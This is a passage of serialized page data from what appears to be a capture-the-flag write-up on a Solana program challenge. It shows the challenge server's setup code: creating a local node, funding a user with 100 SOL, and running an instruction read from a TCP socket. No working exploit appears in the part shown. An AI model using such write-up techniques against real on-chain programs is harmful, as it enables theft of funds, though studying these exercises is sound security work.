}\n}\n",[43036],{"type":24,"tag":32,"props":43037,"children":43038},{"__ignoreMap":7},[43039,43046,43094,43105,43225,43340,43359,43366,43401,43408,43527,43642,43661,43668],{"type":24,"tag":90,"props":43040,"children":43041},{"class":92,"line":93},[43042],{"type":24,"tag":90,"props":43043,"children":43044},{"style":114},[43045],{"type":29,"value":42396},{"type":24,"tag":90,"props":43047,"children":43048},{"class":92,"line":200},[43049,43053,43057,43062,43066,43070,43074,43078,43082,43086,43090],{"type":24,"tag":90,"props":43050,"children":43051},{"style":97},[43052],{"type":29,"value":100},{"type":24,"tag":90,"props":43054,"children":43055},{"style":97},[43056],{"type":29,"value":105},{"type":24,"tag":90,"props":43058,"children":43059},{"style":108},[43060],{"type":29,"value":43061}," process",{"type":24,"tag":90,"props":43063,"children":43064},{"style":114},[43065],{"type":29,"value":117},{"type":24,"tag":90,"props":43067,"children":43068},{"style":97},[43069],{"type":29,"value":371},{"type":24,"tag":90,"props":43071,"children":43072},{"style":136},[43073],{"type":29,"value":1604},{"type":24,"tag":90,"props":43075,"children":43076},{"style":120},[43077],{"type":29,"value":78},{"type":24,"tag":90,"props":43079,"children":43080},{"style":120},[43081],{"type":29,"value":455},{"type":24,"tag":90,"props":43083,"children":43084},{"style":114},[43085],{"type":29,"value":719},{"type":24,"tag":90,"props":43087,"children":43088},{"style":146},[43089],{"type":29,"value":1409},{"type":24,"tag":90,"props":43091,"children":43092},{"style":114},[43093],{"type":29,"value":42441},{"type":24,"tag":90,"props":43095,"children":43096},{"class":92,"line":239},[43097,43101],{"type":24,"tag":90,"props":43098,"children":43099},{"style":97},[43100],{"type":29,"value":264},{"type":24,"tag":90,"props":43102,"children":43103},{"style":114},[43104],{"type":29,"value":269},{"type":24,"tag":90,"props":43106,"children":43107},{"class":92,"line":248},[43108,43112,43116,43120,43124,43128,43132,43136,43140,43144,43148,43152,43156,43160,43164,43168,43172,43176,43181,43185,43189,43193,43197,43201,43205,43209,43213,43217,43221],{"type":24,"tag":90,"props":43109,"children":43110},{"style":97},[43111],{"type":29,"value":287},{"type":24,"tag":90,"props":43113,"children":43114},{"style":136},[43115],{"type":29,"value":292},{"type":24,"tag":90,"props":43117,"children":43118},{"style":120},[43119],{"type":29,"value":216},{"type":24,"tag":90,"props":43121,"children":43122},{"style":114},[43123],{"type":29,"value":42472},{"type":24,"tag":90,"props":43125,"children":43126},{"style":120},[43127],{"type":29,"value":1211},{"type":24,"tag":90,"props":43129,"children":43130},{"style":114},[43131],{"type":29,"value":42481},{"type":24,"tag":90,"props":43133,"children":43134},{"style":120},[43135],{"type":29,"value":1211},{"type":24,"tag":90,"props":43137,"children":43138},{"style":108},[43139],{"type":29,"value":42490},{"type":24,"tag":90,"props":43141,"children":43142},{"style":120},[43143],{"type":29,"value":1211},{"type":24,"tag":90,"props":43145,"children":43146},{"style":114},[43147],{"type":29,"value":42499},{"type":24,"tag":90,"props":43149,"children":43150},{"style":146},[43151],{"type":29,"value":1409},{"type":24,"tag":90,"props":43153,"children":43154},{"style":114},[43155],{"type":29,"value":3748},{"type":24,"tag":90,"props":43157,"children":43158},{"style":349},[43159],{"type":29,"value":352},{"type":24,"tag":90,"props":43161,"children":43162},{"style":114},[43163],{"type":29,"value":24857},{"type":24,"tag":90,"props":43165,"children":43166},{"style":97},[43167],{"type":29,"value":22062},{"type":24,"tag":90,"props":43169,"children":43170},{"style":114},[43171],{"type":29,"value":117},{"type":24,"tag":90,"props":43173,"children":43174},{"style":146},[43175],{"type":29,"value":1580},{"type":24,"tag":90,"props":43177,"children":43178},{"style":114},[43179],{"type":29,"value":43180},")>(",{"type":24,"tag":90,"props":43182,"children":43183},{"style":136},[43184],{"type":29,"value":481},{"type":24,"tag":90,"props":43186,"children":43187},{"style":114},[43188],{"type":29,"value":719},{"type":24,"tag":90,"props":43190,"children":43191},{"style":120},[43192],{"type":29,"value":729},{"type":24,"tag":90,"props":43194,"children":43195},{"style":349},[43196],{"type":29,"value":352},{"type":24,"tag":90,"props":43198,"children":43199},{"style":114},[43200],{"type":29,"value":1914},{"type":24,"tag":90,"props":43202,"children":43203},{"style":120},[43204],{"type":29,"value":226},{"type":24,"tag":90,"props":43206,"children":43207},{"style":108},[43208],{"type":29,"value":27971},{"type":24,"tag":90,"props":43210,"children":43211},{"style":114},[43212],{"type":29,"value":314},{"type":24,"tag":90,"props":43214,"children":43215},{"style":120},[43216],{"type":29,"value":226},{"type":24,"tag":90,"props":43218,"children":43219},{"style":108},[43220],{"type":29,"value":6053},{"type":24,"tag":90,"props":43222,"children":43223},{"style":114},[43224],{"type":29,"value":1928},{"type":24,"tag":90,"props":43226,"children":43227},{"class":92,"line":258},[43228,43232,43236,43240,43244,43248,43252,43256,43260,43264,43268,43272,43276,43280,43284,43288,43292,43296,43300,43304,43308,43312,43316,43320,43324,43328,43332,43336],{"type":24,"tag":90,"props":43229,"children":43230},{"style":97},[43231],{"type":29,"value":287},{"type":24,"tag":90,"props":43233,"children":43234},{"style":136},[43235],{"type":29,"value":42587},{"type":24,"tag":90,"props":43237,"children":43238},{"style":120},[43239],{"type":29,"value":216},{"type":24,"tag":90,"props":43241,"children":43242},{"style":114},[43243],{"type":29,"value":42472},{"type":24,"tag":90,"props":43245,"children":43246},{"style":120},[43247],{"type":29,"value":1211},{"type":24,"tag":90,"props":43249,"children":43250},{"style":114},[43251],{"type":29,"value":42481},{"type":24,"tag":90,"props":43253,"children":43254},{"style":120},[43255],{"type":29,"value":1211},{"type":24,"tag":90,"props":43257,"children":43258},{"style":108},[43259],{"type":29,"value":42490},{"type":24,"tag":90,"props":43261,"children":43262},{"style":120},[43263],{"type":29,"value":1211},{"type":24,"tag":90,"props":43265,"children":43266},{"style":114},[43267],{"type":29,"value":42499},{"type":24,"tag":90,"props":43269,"children":43270},{"style":146},[43271],{"type":29,"value":1409},{"type":24,"tag":90,"props":43273,"children":43274},{"style":114},[43275],{"type":29,"value":3748},{"type":24,"tag":90,"props":43277,"children":43278},{"style":349},[43279],{"type":29,"value":352},{"type":24,"tag":90,"props":43281,"children":43282},{"style":114},[43283],{"type":29,"value":24857},{"type":24,"tag":90,"props":43285,"children":43286},{"style":146},[43287],{"type":29,"value":1580},{"type":24,"tag":90,"props":43289,"children":43290},{"style":114},[43291],{"type":29,"value":9992},{"type":24,"tag":90,"props":43293,"children":43294},{"style":136},[43295],{"type":29,"value":481},{"type":24,"tag":90,"props":43297,"children":43298},{"style":114},[43299],{"type":29,"value":719},{"type":24,"tag":90,"props":43301,"children":43302},{"style":349},[43303],{"type":29,"value":352},{"type":24,"tag":90,"props":43305,"children":43306},{"style":120},[43307],{"type":29,"value":729},{"type":24,"tag":90,"props":43309,"children":43310},{"style":349},[43311],{"type":29,"value":42664},{"type":24,"tag":90,"props":43313,"children":43314},{"style":114},[43315],{"type":29,"value":1914},{"type":24,"tag":90,"props":43317,"children":43318},{"style":120},[43319],{"type":29,"value":226},{"type":24,"tag":90,"props":43321,"children":43322},{"style":108},[43323],{"type":29,"value":27971},{"type":24,"tag":90,"props":43325,"children":43326},{"style":114},[43327],{"type":29,"value":314},{"type":24,"tag":90,"props":43329,"children":43330},{"style":120},[43331],{"type":29,"value":226},{"type":24,"tag":90,"props":43333,"children":43334},{"style":108},[43335],{"type":29,"value":6053},{"type":24,"tag":90,"props":43337,"children":43338},{"style":114},[43339],{"type":29,"value":1928},{"type":24,"tag":90,"props":43341,"children":43342},{"class":92,"line":272},[43343,43347,43351,43355],{"type":24,"tag":90,"props":43344,"children":43345},{"style":108},[43346],{"type":29,"value":42700},{"type":24,"tag":90,"props":43348,"children":43349},{"style":114},[43350],{"type":29,"value":117},{"type":24,"tag":90,"props":43352,"children":43353},{"style":136},[43354],{"type":29,"value":14998},{"type":24,"tag":90,"props":43356,"children":43357},{"style":114},[43358],{"type":29,"value":571},{"type":24,"tag":90,"props":43360,"children":43361},{"class":92,"line":281},[43362],{"type":24,"tag":90,"props":43363,"children":43364},{"emptyLinePlaceholder":16},[43365],{"type":29,"value":245},{"type":24,"tag":90,"props":43367,"children":43368},{"class":92,"line":384},[43369,43373,43377,43381,43385,43389,43393,43397],{"type":24,"tag":90,"props":43370,"children":43371},{"style":136},[43372],{"type":29,"value":42871},{"type":24,"tag":90,"props":43374,"children":43375},{"style":120},[43376],{"type":29,"value":216},{"type":24,"tag":90,"props":43378,"children":43379},{"style":120},[43380],{"type":29,"value":455},{"type":24,"tag":90,"props":43382,"children":43383},{"style":136},[43384],{"type":29,"value":481},{"type":24,"tag":90,"props":43386,"children":43387},{"style":114},[43388],{"type":29,"value":719},{"type":24,"tag":90,"props":43390,"children":43391},{"style":349},[43392],{"type":29,"value":42664},{"type":24,"tag":90,"props":43394,"children":43395},{"style":120},[43396],{"type":29,"value":729},{"type":24,"tag":90,"props":43398,"children":43399},{"style":114},[43400],{"type":29,"value":33387},{"type":24,"tag":90,"props":43402,"children":43403},{"class":92,"line":420},[43404],{"type":24,"tag":90,"props":43405,"children":43406},{"emptyLinePlaceholder":16},[43407],{"type":29,"value":245},{"type":24,"tag":90,"props":43409,"children":43410},{"class":92,"line":428},[43411,43415,43419,43423,43427,43431,43435,43439,43443,43447,43451,43455,43459,43463,43467,43471,43475,43479,43483,43487,43491,43495,43499,43503,43507,43511,43515,43519,43523],{"type":24,"tag":90,"props":43412,"children":43413},{"style":97},[43414],{"type":29,"value":287},{"type":24,"tag":90,"props":43416,"children":43417},{"style":136},[43418],{"type":29,"value":292},{"type":24,"tag":90,"props":43420,"children":43421},{"style":120},[43422],{"type":29,"value":216},{"type":24,"tag":90,"props":43424,"children":43425},{"style":114},[43426],{"type":29,"value":42472},{"type":24,"tag":90,"props":43428,"children":43429},{"style":120},[43430],{"type":29,"value":1211},{"type":24,"tag":90,"props":43432,"children":43433},{"style":114},[43434],{"type":29,"value":42481},{"type":24,"tag":90,"props":43436,"children":43437},{"style":120},[43438],{"type":29,"value":1211},{"type":24,"tag":90,"props":43440,"children":43441},{"style":108},[43442],{"type":29,"value":42490},{"type":24,"tag":90,"props":43444,"children":43445},{"style":120},[43446],{"type":29,"value":1211},{"type":24,"tag":90,"props":43448,"children":43449},{"style":114},[43450],{"type":29,"value":42499},{"type":24,"tag":90,"props":43452,"children":43453},{"style":146},[43454],{"type":29,"value":1409},{"type":24,"tag":90,"props":43456,"children":43457},{"style":114},[43458],{"type":29,"value":3748},{"type":24,"tag":90,"props":43460,"children":43461},{"style":349},[43462],{"type":29,"value":352},{"type":24,"tag":90,"props":43464,"children":43465},{"style":114},[43466],{"type":29,"value":24857},{"type":24,"tag":90,"props":43468,"children":43469},{"style":97},[43470],{"type":29,"value":22062},{"type":24,"tag":90,"props":43472,"children":43473},{"style":114},[43474],{"type":29,"value":117},{"type":24,"tag":90,"props":43476,"children":43477},{"style":146},[43478],{"type":29,"value":1580},{"type":24,"tag":90,"props":43480,"children":43481},{"style":114},[43482],{"type":29,"value":43180},{"type":24,"tag":90,"props":43484,"children":43485},{"style":136},[43486],{"type":29,"value":481},{"type":24,"tag":90,"props":43488,"children":43489},{"style":114},[43490],{"type":29,"value":719},{"type":24,"tag":90,"props":43492,"children":43493},{"style":120},[43494],{"type":29,"value":729},{"type":24,"tag":90,"props":43496,"children":43497},{"style":349},[43498],{"type":29,"value":352},{"type":24,"tag":90,"props":43500,"children":43501},{"style":114},[43502],{"type":29,"value":1914},{"type":24,"tag":90,"props":43504,"children":43505},{"style":120},[43506],{"type":29,"value":226},{"type":24,"tag":90,"props":43508,"children":43509},{"style":108},[43510],{"type":29,"value":27971},{"type":24,"tag":90,"props":43512,"children":43513},{"style":114},[43514],{"type":29,"value":314},{"type":24,"tag":90,"props":43516,"children":43517},{"style":120},[43518],{"type":29,"value":226},{"type":24,"tag":90,"props":43520,"children":43521},{"style":108},[43522],{"type":29,"value":6053},{"type":24,"tag":90,"props":43524,"children":43525},{"style":114},[43526],{"type":29,"value":1928},{"type":24,"tag":90,"props":43528,"children":43529},{"class":92,"line":437},[43530,43534,43538,43542,43546,43550,43554,43558,43562,43566,43570,43574,43578,43582,43586,43590,43594,43598,43602,43606,43610,43614,43618,43622,43626,43630,43634,43638],{"type":24,"tag":90,"props":43531,"children":43532},{"style":97},[43533],{"type":29,"value":287},{"type":24,"tag":90,"props":43535,"children":43536},{"style":136},[43537],{"type":29,"value":42587},{"type":24,"tag":90,"props":43539,"children":43540},{"style":120},[43541],{"type":29,"value":216},{"type":24,"tag":90,"props":43543,"children":43544},{"style":114},[43545],{"type":29,"value":42472},{"type":24,"tag":90,"props":43547,"children":43548},{"style":120},[43549],{"type":29,"value":1211},{"type":24,"tag":90,"props":43551,"children":43552},{"style":114},[43553],{"type":29,"value":42481},{"type":24,"tag":90,"props":43555,"children":43556},{"style":120},[43557],{"type":29,"value":1211},{"type":24,"tag":90,"props":43559,"children":43560},{"style":108},[43561],{"type":29,"value":42490},{"type":24,"tag":90,"props":43563,"children":43564},{"style":120},[43565],{"type":29,"value":1211},{"type":24,"tag":90,"props":43567,"children":43568},{"style":114},[43569],{"type":29,"value":42499},{"type":24,"tag":90,"props":43571,"children":43572},{"style":146},[43573],{"type":29,"value":1409},{"type":24,"tag":90,"props":43575,"children":43576},{"style":114},[43577],{"type":29,"value":3748},{"type":24,"tag":90,"props":43579,"children":43580},{"style":349},[43581],{"type":29,"value":352},{"type":24,"tag":90,"props":43583,"children":43584},{"style":114},[43585],{"type":29,"value":24857},{"type":24,"tag":90,"props":43587,"children":43588},{"style":146},[43589],{"type":29,"value":1580},{"type":24,"tag":90,"props":43591,"children":43592},{"style":114},[43593],{"type":29,"value":9992},{"type":24,"tag":90,"props":43595,"children":43596},{"style":136},[43597],{"type":29,"value":481},{"type":24,"tag":90,"props":43599,"children":43600},{"style":114},[43601],{"type":29,"value":719},{"type":24,"tag":90,"props":43603,"children":43604},{"style":349},[43605],{"type":29,"value":352},{"type":24,"tag":90,"props":43607,"children":43608},{"style":120},[43609],{"type":29,"value":729},{"type":24,"tag":90,"props":43611,"children":43612},{"style":349},[43613],{"type":29,"value":42664},{"type":24,"tag":90,"props":43615,"children":43616},{"style":114},[43617],{"type":29,"value":1914},{"type":24,"tag":90,"props":43619,"children":43620},{"style":120},[43621],{"type":29,"value":226},{"type":24,"tag":90,"props":43623,"children":43624},{"style":108},[43625],{"type":29,"value":27971},{"type":24,"tag":90,"props":43627,"children":43628},{"style":114},[43629],{"type":29,"value":314},{"type":24,"tag":90,"props":43631,"children":43632},{"style":120},[43633],{"type":29,"value":226},{"type":24,"tag":90,"props":43635,"children":43636},{"style":108},[43637],{"type":29,"value":6053},{"type":24,"tag":90,"props":43639,"children":43640},{"style":114},[43641],{"type":29,"value":1928},{"type":24,"tag":90,"props":43643,"children":43644},{"class":92,"line":574},[43645,43649,43653,43657],{"type":24,"tag":90,"props":43646,"children":43647},{"style":108},[43648],{"type":29,"value":42700},{"type":24,"tag":90,"props":43650,"children":43651},{"style":114},[43652],{"type":29,"value":117},{"type":24,"tag":90,"props":43654,"children":43655},{"style":136},[43656],{"type":29,"value":14998},{"type":24,"tag":90,"props":43658,"children":43659},{"style":114},[43660],{"type":29,"value":571},{"type":24,"tag":90,"props":43662,"children":43663},{"class":92,"line":606},[43664],{"type":24,"tag":90,"props":43665,"children":43666},{"style":114},[43667],{"type":29,"value":612},{"type":24,"tag":90,"props":43669,"children":43670},{"class":92,"line":615},[43671],{"type":24,"tag":90,"props":43672,"children":43673},{"style":114},[43674],{"type":29,"value":827},{"type":24,"tag":1019,"props":43676,"children":43678},{"id":43677},"test-environment",[43679],{"type":29,"value":43680},"Test Environment",{"type":24,"tag":25,"props":43682,"children":43683},{},[43684],{"type":29,"value":43685},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":24,"tag":25,"props":43687,"children":43688},{},[43689,43691,43697],{"type":29,"value":43690},"When you connect to the server through a tcp connection, ",{"type":24,"tag":32,"props":43692,"children":43694},{"className":43693},[],[43695],{"type":29,"value":43696},"framework/src/main.rs::handle_connection",{"type":29,"value":43698}," gets executed, which does the following:",{"type":24,"tag":3100,"props":43700,"children":43701},{},[43702],{"type":24,"tag":3104,"props":43703,"children":43704},{},[43705],{"type":29,"value":43706},"Creates a new Solana local node",{"type":24,"tag":80,"props":43708,"children":43710},{"className":82,"code":43709,"language":84,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[43711],{"type":24,"tag":32,"props":43712,"children":43713},{"__ignoreMap":7},[43714,43795,43871],{"type":24,"tag":90,"props":43715,"children":43716},{"class":92,"line":93},[43717,43721,43725,43730,43734,43739,43743,43748,43752,43757,43761,43766,43770,43774,43778,43783,43787,43791],{"type":24,"tag":90,"props":43718,"children":43719},{"style":97},[43720],{"type":29,"value":895},{"type":24,"tag":90,"props":43722,"children":43723},{"style":97},[43724],{"type":29,"value":4653},{"type":24,"tag":90,"props":43726,"children":43727},{"style":136},[43728],{"type":29,"value":43729}," builder",{"type":24,"tag":90,"props":43731,"children":43732},{"style":120},[43733],{"type":29,"value":216},{"type":24,"tag":90,"props":43735,"children":43736},{"style":146},[43737],{"type":29,"value":43738}," ChallengeBuilder",{"type":24,"tag":90,"props":43740,"children":43741},{"style":120},[43742],{"type":29,"value":1211},{"type":24,"tag":90,"props":43744,"children":43745},{"style":108},[43746],{"type":29,"value":43747},"try_from",{"type":24,"tag":90,"props":43749,"children":43750},{"style":114},[43751],{"type":29,"value":117},{"type":24,"tag":90,"props":43753,"children":43754},{"style":136},[43755],{"type":29,"value":43756},"socket",{"type":24,"tag":90,"props":43758,"children":43759},{"style":120},[43760],{"type":29,"value":226},{"type":24,"tag":90,"props":43762,"children":43763},{"style":108},[43764],{"type":29,"value":43765},"try_clone",{"type":24,"tag":90,"props":43767,"children":43768},{"style":114},[43769],{"type":29,"value":314},{"type":24,"tag":90,"props":43771,"children":43772},{"style":120},[43773],{"type":29,"value":226},{"type":24,"tag":90,"props":43775,"children":43776},{"style":108},[43777],{"type":29,"value":6053},{"type":24,"tag":90,"props":43779,"children":43780},{"style":114},[43781],{"type":29,"value":43782},"())",{"type":24,"tag":90,"props":43784,"children":43785},{"style":120},[43786],{"type":29,"value":226},{"type":24,"tag":90,"props":43788,"children":43789},{"style":108},[43790],{"type":29,"value":6053},{"type":24,"tag":90,"props":43792,"children":43793},{"style":114},[43794],{"type":29,"value":236},{"type":24,"tag":90,"props":43796,"children":43797},{"class":92,"line":200},[43798,43803,43807,43812,43816,43821,43825,43830,43834,43839,43844,43848,43853,43857,43862,43866],{"type":24,"tag":90,"props":43799,"children":43800},{"style":108},[43801],{"type":29,"value":43802},"assert!",{"type":24,"tag":90,"props":43804,"children":43805},{"style":114},[43806],{"type":29,"value":117},{"type":24,"tag":90,"props":43808,"children":43809},{"style":136},[43810],{"type":29,"value":43811},"builder",{"type":24,"tag":90,"props":43813,"children":43814},{"style":120},[43815],{"type":29,"value":226},{"type":24,"tag":90,"props":43817,"children":43818},{"style":108},[43819],{"type":29,"value":43820},"add_program",{"type":24,"tag":90,"props":43822,"children":43823},{"style":114},[43824],{"type":29,"value":117},{"type":24,"tag":90,"props":43826,"children":43827},{"style":1085},[43828],{"type":29,"value":43829},"\"/path/to/chall.so\"",{"type":24,"tag":90,"props":43831,"children":43832},{"style":114},[43833],{"type":29,"value":133},{"type":24,"tag":90,"props":43835,"children":43836},{"style":146},[43837],{"type":29,"value":43838},"Some",{"type":24,"tag":90,"props":43840,"children":43841},{"style":114},[43842],{"type":29,"value":43843},"(chall",{"type":24,"tag":90,"props":43845,"children":43846},{"style":120},[43847],{"type":29,"value":1211},{"type":24,"tag":90,"props":43849,"children":43850},{"style":114},[43851],{"type":29,"value":43852},"ID)) ",{"type":24,"tag":90,"props":43854,"children":43855},{"style":120},[43856],{"type":29,"value":10951},{"type":24,"tag":90,"props":43858,"children":43859},{"style":114},[43860],{"type":29,"value":43861}," chall",{"type":24,"tag":90,"props":43863,"children":43864},{"style":120},[43865],{"type":29,"value":1211},{"type":24,"tag":90,"props":43867,"children":43868},{"style":114},[43869],{"type":29,"value":43870},"ID);\n",{"type":24,"tag":90,"props":43872,"children":43873},{"class":92,"line":239},[43874,43878,43882,43886,43890,43894,43898,43903,43907,43911,43915],{"type":24,"tag":90,"props":43875,"children":43876},{"style":97},[43877],{"type":29,"value":895},{"type":24,"tag":90,"props":43879,"children":43880},{"style":97},[43881],{"type":29,"value":4653},{"type":24,"tag":90,"props":43883,"children":43884},{"style":136},[43885],{"type":29,"value":43861},{"type":24,"tag":90,"props":43887,"children":43888},{"style":120},[43889],{"type":29,"value":216},{"type":24,"tag":90,"props":43891,"children":43892},{"style":136},[43893],{"type":29,"value":43729},{"type":24,"tag":90,"props":43895,"children":43896},{"style":120},[43897],{"type":29,"value":226},{"type":24,"tag":90,"props":43899,"children":43900},{"style":108},[43901],{"type":29,"value":43902},"build",{"type":24,"tag":90,"props":43904,"children":43905},{"style":114},[43906],{"type":29,"value":314},{"type":24,"tag":90,"props":43908,"children":43909},{"style":120},[43910],{"type":29,"value":226},{"type":24,"tag":90,"props":43912,"children":43913},{"style":636},[43914],{"type":29,"value":34730},{"type":24,"tag":90,"props":43916,"children":43917},{"style":114},[43918],{"type":29,"value":381},{"type":24,"tag":3100,"props":43920,"children":43921},{"start":200},[43922],{"type":24,"tag":3104,"props":43923,"children":43924},{},[43925],{"type":29,"value":43926},"Funds the user account with 100 SOL",{"type":24,"tag":80,"props":43928,"children":43930},{"className":82,"code":43929,"language":84,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[43931],{"type":24,"tag":32,"props":43932,"children":43933},{"__ignoreMap":7},[43934,43967,43999,44006,44048,44080,44087,44095,44159,44178,44185],{"type":24,"tag":90,"props":43935,"children":43936},{"class":92,"line":93},[43937,43941,43946,43950,43955,43959,43963],{"type":24,"tag":90,"props":43938,"children":43939},{"style":97},[43940],{"type":29,"value":895},{"type":24,"tag":90,"props":43942,"children":43943},{"style":136},[43944],{"type":29,"value":43945}," user_keypair",{"type":24,"tag":90,"props":43947,"children":43948},{"style":120},[43949],{"type":29,"value":216},{"type":24,"tag":90,"props":43951,"children":43952},{"style":146},[43953],{"type":29,"value":43954}," Keypair",{"type":24,"tag":90,"props":43956,"children":43957},{"style":120},[43958],{"type":29,"value":1211},{"type":24,"tag":90,"props":43960,"children":43961},{"style":108},[43962],{"type":29,"value":1622},{"type":24,"tag":90,"props":43964,"children":43965},{"style":114},[43966],{"type":29,"value":236},{"type":24,"tag":90,"props":43968,"children":43969},{"class":92,"line":200},[43970,43974,43979,43983,43987,43991,43995],{"type":24,"tag":90,"props":43971,"children":43972},{"style":97},[43973],{"type":29,"value":895},{"type":24,"tag":90,"props":43975,"children":43976},{"style":136},[43977],{"type":29,"value":43978}," user",{"type":24,"tag":90,"props":43980,"children":43981},{"style":120},[43982],{"type":29,"value":216},{"type":24,"tag":90,"props":43984,"children":43985},{"style":136},[43986],{"type":29,"value":43945},{"type":24,"tag":90,"props":43988,"children":43989},{"style":120},[43990],{"type":29,"value":226},{"type":24,"tag":90,"props":43992,"children":43993},{"style":108},[43994],{"type":29,"value":5932},{"type":24,"tag":90,"props":43996,"children":43997},{"style":114},[43998],{"type":29,"value":236},{"type":24,"tag":90,"props":44000,"children":44001},{"class":92,"line":239},[44002],{"type":24,"tag":90,"props":44003,"children":44004},{"emptyLinePlaceholder":16},[44005],{"type":29,"value":245},{"type":24,"tag":90,"props":44007,"children":44008},{"class":92,"line":248},[44009,44013,44018,44022,44026,44031,44035,44039,44043],{"type":24,"tag":90,"props":44010,"children":44011},{"style":97},[44012],{"type":29,"value":895},{"type":24,"tag":90,"props":44014,"children":44015},{"style":136},[44016],{"type":29,"value":44017}," payer_keypair",{"type":24,"tag":90,"props":44019,"children":44020},{"style":120},[44021],{"type":29,"value":216},{"type":24,"tag":90,"props":44023,"children":44024},{"style":120},[44025],{"type":29,"value":455},{"type":24,"tag":90,"props":44027,"children":44028},{"style":136},[44029],{"type":29,"value":44030},"chall",{"type":24,"tag":90,"props":44032,"children":44033},{"style":120},[44034],{"type":29,"value":226},{"type":24,"tag":90,"props":44036,"children":44037},{"style":114},[44038],{"type":29,"value":22076},{"type":24,"tag":90,"props":44040,"children":44041},{"style":120},[44042],{"type":29,"value":226},{"type":24,"tag":90,"props":44044,"children":44045},{"style":114},[44046],{"type":29,"value":44047},"payer;\n",{"type":24,"tag":90,"props":44049,"children":44050},{"class":92,"line":258},[44051,44055,44060,44064,44068,44072,44076],{"type":24,"tag":90,"props":44052,"children":44053},{"style":97},[44054],{"type":29,"value":895},{"type":24,"tag":90,"props":44056,"children":44057},{"style":136},[44058],{"type":29,"value":44059}," payer",{"type":24,"tag":90,"props":44061,"children":44062},{"style":120},[44063],{"type":29,"value":216},{"type":24,"tag":90,"props":44065,"children":44066},{"style":136},[44067],{"type":29,"value":44017},{"type":24,"tag":90,"props":44069,"children":44070},{"style":120},[44071],{"type":29,"value":226},{"type":24,"tag":90,"props":44073,"children":44074},{"style":108},[44075],{"type":29,"value":5932},{"type":24,"tag":90,"props":44077,"children":44078},{"style":114},[44079],{"type":29,"value":236},{"type":24,"tag":90,"props":44081,"children":44082},{"class":92,"line":272},[44083],{"type":24,"tag":90,"props":44084,"children":44085},{"emptyLinePlaceholder":16},[44086],{"type":29,"value":245},{"type":24,"tag":90,"props":44088,"children":44089},{"class":92,"line":281},[44090],{"type":24,"tag":90,"props":44091,"children":44092},{"style":136},[44093],{"type":29,"value":44094},"chall\n",{"type":24,"tag":90,"props":44096,"children":44097},{"class":92,"line":384},[44098,44103,44108,44113,44117,44121,44125,44129,44134,44138,44142,44146,44150,44155],{"type":24,"tag":90,"props":44099,"children":44100},{"style":120},[44101],{"type":29,"value":44102}," .",{"type":24,"tag":90,"props":44104,"children":44105},{"style":108},[44106],{"type":29,"value":44107},"run_ix",{"type":24,"tag":90,"props":44109,"children":44110},{"style":114},[44111],{"type":29,"value":44112},"(system_instruction",{"type":24,"tag":90,"props":44114,"children":44115},{"style":120},[44116],{"type":29,"value":1211},{"type":24,"tag":90,"props":44118,"children":44119},{"style":108},[44120],{"type":29,"value":33936},{"type":24,"tag":90,"props":44122,"children":44123},{"style":114},[44124],{"type":29,"value":117},{"type":24,"tag":90,"props":44126,"children":44127},{"style":120},[44128],{"type":29,"value":123},{"type":24,"tag":90,"props":44130,"children":44131},{"style":136},[44132],{"type":29,"value":44133},"payer",{"type":24,"tag":90,"props":44135,"children":44136},{"style":114},[44137],{"type":29,"value":133},{"type":24,"tag":90,"props":44139,"children":44140},{"style":120},[44141],{"type":29,"value":123},{"type":24,"tag":90,"props":44143,"children":44144},{"style":136},[44145],{"type":29,"value":22028},{"type":24,"tag":90,"props":44147,"children":44148},{"style":114},[44149],{"type":29,"value":133},{"type":24,"tag":90,"props":44151,"children":44152},{"style":349},[44153],{"type":29,"value":44154},"100_000_000_000",{"type":24,"tag":90,"props":44156,"children":44157},{"style":114},[44158],{"type":29,"value":21507},{"type":24,"tag":90,"props":44160,"children":44161},{"class":92,"line":420},[44162,44166,44170,44174],{"type":24,"tag":90,"props":44163,"children":44164},{"style":120},[44165],{"type":29,"value":44102},{"type":24,"tag":90,"props":44167,"children":44168},{"style":636},[44169],{"type":29,"value":34730},{"type":24,"tag":90,"props":44171,"children":44172},{"style":120},[44173],{"type":29,"value":714},{"type":24,"tag":90,"props":44175,"children":44176},{"style":114},[44177],{"type":29,"value":381},{"type":24,"tag":90,"props":44179,"children":44180},{"class":92,"line":428},[44181],{"type":24,"tag":90,"props":44182,"children":44183},{"emptyLinePlaceholder":16},[44184],{"type":29,"value":245},{"type":24,"tag":90,"props":44186,"children":44187},{"class":92,"line":437},[44188,44193,44197,44201,44205,44210,44214,44218,44222,44226],{"type":24,"tag":90,"props":44189,"children":44190},{"style":108},[44191],{"type":29,"value":44192},"writeln!",{"type":24,"tag":90,"props":44194,"children":44195},{"style":114},[44196],{"type":29,"value":117},{"type":24,"tag":90,"props":44198,"children":44199},{"style":136},[44200],{"type":29,"value":43756},{"type":24,"tag":90,"props":44202,"children":44203},{"style":114},[44204],{"type":29,"value":133},{"type":24,"tag":90,"props":44206,"children":44207},{"style":1085},[44208],{"type":29,"value":44209},"\"user: {}\"",{"type":24,"tag":90,"props":44211,"children":44212},{"style":114},[44213],{"type":29,"value":133},{"type":24,"tag":90,"props":44215,"children":44216},{"style":136},[44217],{"type":29,"value":22028},{"type":24,"tag":90,"props":44219,"children":44220},{"style":114},[44221],{"type":29,"value":517},{"type":24,"tag":90,"props":44223,"children":44224},{"style":120},[44225],{"type":29,"value":714},{"type":24,"tag":90,"props":44227,"children":44228},{"style":114},[44229],{"type":29,"value":381},{"type":24,"tag":3100,"props":44231,"children":44232},{"start":239},[44233],{"type":24,"tag":3104,"props":44234,"children":44235},{},[44236],{"type":29,"value":44237},"Reads an instruction from the tcp stream and executes it",{"type":24,"tag":80,"props":44239,"children":44241},{"className":82,"code":44240,"language":84,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], 